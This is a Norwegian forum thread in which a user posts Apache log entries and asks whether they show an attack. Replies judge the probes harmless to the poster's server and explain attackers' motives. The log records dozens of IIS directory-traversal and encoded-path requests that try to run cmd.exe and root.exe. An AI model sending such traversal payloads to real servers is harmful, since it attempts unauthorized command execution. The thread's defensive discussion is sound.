Er dette hacker angrep?

[Supervisor]

Jeg fant dette i loggen på min Apache serveren:

 

 

80.5.80.233 - - [27/May/2004:22:59:56 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284

80.5.80.233 - - [27/May/2004:22:59:58 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282

80.5.80.233 - - [27/May/2004:23:00:00 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292

80.5.80.233 - - [27/May/2004:23:00:03 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292

80.5.80.233 - - [27/May/2004:23:00:05 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306

80.5.80.233 - - [27/May/2004:23:00:09 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323

80.5.80.233 - - [27/May/2004:23:00:11 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323

80.5.80.233 - - [27/May/2004:23:00:14 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339

80.5.80.233 - - [27/May/2004:23:00:16 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

80.5.80.233 - - [27/May/2004:23:00:19 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

80.5.80.233 - - [27/May/2004:23:00:20 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

80.5.80.233 - - [27/May/2004:23:00:22 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

80.5.80.233 - - [27/May/2004:23:00:24 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 296

80.5.80.233 - - [27/May/2004:23:00:26 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 296

80.5.80.233 - - [27/May/2004:23:00:28 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306

80.5.80.233 - - [27/May/2004:23:00:31 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306

80.5.80.233 - - [27/May/2004:23:17:03 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284

80.5.80.233 - - [27/May/2004:23:17:06 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282

80.5.80.233 - - [27/May/2004:23:17:08 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292

80.5.80.233 - - [27/May/2004:23:17:11 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292

80.5.80.233 - - [27/May/2004:23:17:14 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306

80.5.80.233 - - [27/May/2004:23:17:17 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323

80.5.80.233 - - [27/May/2004:23:17:20 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323

80.5.80.233 - - [27/May/2004:23:17:23 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339

80.5.80.233 - - [27/May/2004:23:17:28 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

80.5.80.233 - - [27/May/2004:23:17:31 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

80.5.80.233 - - [27/May/2004:23:17:33 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

80.5.80.233 - - [27/May/2004:23:17:38 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

80.5.80.233 - - [27/May/2004:23:17:40 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 296

80.5.80.233 - - [27/May/2004:23:17:43 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 296

80.5.80.233 - - [27/May/2004:23:17:48 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306

80.5.80.233 - - [27/May/2004:23:17:50 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306

[aadnk]

Det ser iallefall ikke ut som vanlig aktivitet fra en bruker. Hmm, en nslookup til den IP'addressen gav dette resultatet:

 

cpc1-stme1-4-0-cust233.cdif.cable.nt1.com

 

Men det ser ut til at serveren din var konfigurert riktig, og ingenting egentlig skjedde. Så jeg tror ikke du trenger å beskymre deg, men du kan selvsakt blokke den IP'addressen.

[Supervisor]

Jeg stoppet hele serveren og lukket port 80.

Det var bare 9 familiebilder på websida mi.

Skjønner ikke at folk gidder å hacke noe sånn...

[sedsberg]

Det er tvilsomt noen er ute etter familiebildene dine. Det som mange er ute etter er å få total kontroll over maskina di for så å kunne bruke denne som proxy e.l. samt å kunne bruke den i f.eks. DDoS-angrep.

 

Det morsomme her er at om de klarer det så vil du kunne få skylda for eventuelle lovbrudd de utfører med maskina di. (DDoS-angrep, nedlasting av ulovlige ting, hacking etc.).